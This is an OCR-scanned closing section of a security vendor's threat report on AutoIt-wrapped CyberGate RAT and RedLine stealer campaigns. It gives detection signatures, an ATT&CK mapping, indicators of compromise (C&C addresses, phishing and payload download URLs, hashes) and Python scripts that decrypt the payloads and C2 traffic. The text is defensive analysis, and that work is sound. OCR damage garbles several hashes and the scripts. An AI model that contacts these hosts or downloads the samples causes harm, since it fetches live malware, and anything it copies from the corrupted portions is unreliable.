tWebDebugGlRenderer><a:WebDebugGlVendor *UNKNOWN< /a :WebDebugGlVendor»</

fa:IP»<a:IsProcessElevated:Talses/
</a:LogDate><a:Monitorsize>

</

The observed indicators in this attack were successfully blocked by the Zscaler Cloud

Sandbox.
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Figure 21: The Zscaler Cloud Sandbox report for the CyberGate RAT.
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Figure 22: The Zscaler Cloud Sandbox report for the RedLine stealer.

In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects
indicators at various levels.

The following is the advanced threat protection signatures released for detecting the
malware:

Win32.Backdoor.CyberGate

Win32.Backdoor.RedLine

Win32.PWS.AutolT

And the following are the Cloud IPS (non-web) signatures that enable detection of the
CyberGate RAT:
Win32.Backdoor.CyberGate

Conclusion

We are observing an increase in the usage of Autolt script as a wrapper to deliver malware
by threat actors. This trend appears to be getting stronger with a lot of obfuscation, anti-
analysis and anti-sandbox tricks, and fileless techniques being adopted by the Autolt-based
malware. The final payloads we have seen in these campaigns are RATs and Infostealers,
which are capable of stealing sensitive information and installing additional malware. Also,
the usage of a custom protocol for the exfiltration of sensitive information poses a great
challenge for network security solutions to block the data exfiltration attempt.

The Zscaler ThreatLabZ team will continue to monitor AutolT-based malware campaigns to
share the information with the community and to keep our customers safe.
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https://threatlibrary.zscaler.com/?keyword=Win32.Backdoor.CyberGate
https://threatlibrary.zscaler.com/?keyword=Win32.Backdoor.Redline
https://threatlibrary.zscaler.com/?keyword=Win32.PWS.AutoIT
https://threatlibrary.zscaler.com/?keyword=Win32.Backdoor.CyberGate

MITRE ATT&CK™ tactic and technique mapping

Tactic Technique

T1059 Execution through Command-Line interface
T1060 Persistence in startup directory
T1055 Process injection

T1140 Obfuscated files

T1503 Steal credentials from web browsers
T1056 Keylogging

T1539 Steal web session cookies
T1083 File and Directory Discovery
T1057 Process Discovery

T1012 Query Registry

T1082 System Information Discovery
T1497 Sandbox Evasion

T1005 Collect Data from Local System
T1113 Captures Screen

T1094 Custom C&C Protocol

T1132 Base64 Data Encoding

T1065 Uncommonly Used Port

T1002 Data Compressed

T1020 Data Exfiltration

T1022 Data Encrypted

I0Cs

Cybergate RAT

37.252.5[.]213/55.exe (Download URL)

37.252.5[.]1213[:]3970 (Cybergate C&C)
433dd4dce13e86688a3af13686¢c84d1c Packed file
608D98351812A3C2C73B94A6F5BEF048 Encoded autoit file
340F2664D7956A753D8EA2FA5C0044FF Encrypted payload
53A116D2B8AB11B92B293B4AD18CC523 Decoded autoit script
391317CC132C65561811316324171F8C Shellcode 1
63CFBCE717C7761B6802E3C1B1F8ACCF Shellcode 2
88A81C67556D4470F23F703D64606E16 Cybergate RAT

RedLine Stealer

resisproject[.]Jme (Phishing site)
bbuseruploads|.]s3[.]Jamazonaws[.Jcom/583b9547-e88c-4247-a01e-
655ff985a7ae/downloads/5a2556¢5-ec0f-4699-b67c-40b9f2a4 3fc7/Resistance_Wallet-
windows-2.2.9.zip (Download URL)

resisproject[.]Jcc (Phishing site)
bitbucket[.]Jorg/kapow37047/win64/downloads/ResistanceWallet_2.2.8.exe (Download URL)
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https://attack.mitre.org/

yellowbag[.]top (RedLine C&C)
70EFF6AE73COE276D385929D9E253D02 Packed file
C96BF5CECA92A5362F342A7EE19FDC88 Encoded autoit file
F1AA91851EO0F66AAC3F65E4C237E8B51 Encrypted payload
106FCC5A6B51E4B2213694C7B5FF3C08 Decoded autoit script
729BB625379513FC677606888941248B RedLine Stealer
4B0F5B53264C56125BD5C889E063BBCA Packed file
67E67250B0DB02F824804EC17A757B1E Encoded autoit file
67BB52ECFE627A96076 AFAFD2DDE32C7 Encrypted payload
293918878COCE8CFFBD344B16EAC656E Decoded autoit script
9E286AB918E5FACF45B2AE0195CEF54B RedLine Stealer

Appendix |

Python Script to decrypt encrypted Cybergate payload and RedLine payload:

import sys
from Crypto.Cipher import ARC4

#RC4 keys
keys =['637180'", '7010', ‘2379’]

enc_file = sys.argv[1]
dec_file = sys.argv|[2]

for key in keys:
cipher = ARC4.new(key)
data = open(enc _file, 'rb').read()
out = cipher.decrypt(data)

if out[:2] == "MZ":
with open(dec_file, 'wb') as wf:
wf.write(out)
print("[+] Decrypted PE file - " + dec_file)
break

Appendix Il
Python Script to decrypt & decompress Cybergate traffic:

import zlib
from Crypto.Cipher import ARC4

def dec_packet(packet):
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result =
marker = "##$##"
#packet = str(bytearray.fromhex(packet))

if len(packet) == 2:
return result
try:
if packet.startswith("\x0d\x0a"):
packet = packet[2:]
packet = packet.split(marker)[1]
if packet.startswith("\x0d\x0a"):
packet = packet[2:]
except:
pass

try:
key = b'draZwyK8wNHF'
cipher = ARC4.new(key)

rc4_out = cipher.decrypt(packet)

if rc4_out.startswith("@@][email protected|@"):

rc4 _out =rc4_out[14]
result = zlib.decompress(rc4_out)
return result
except:
return result
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https://www.zscaler.com/cdn-cgi/l/email-protection

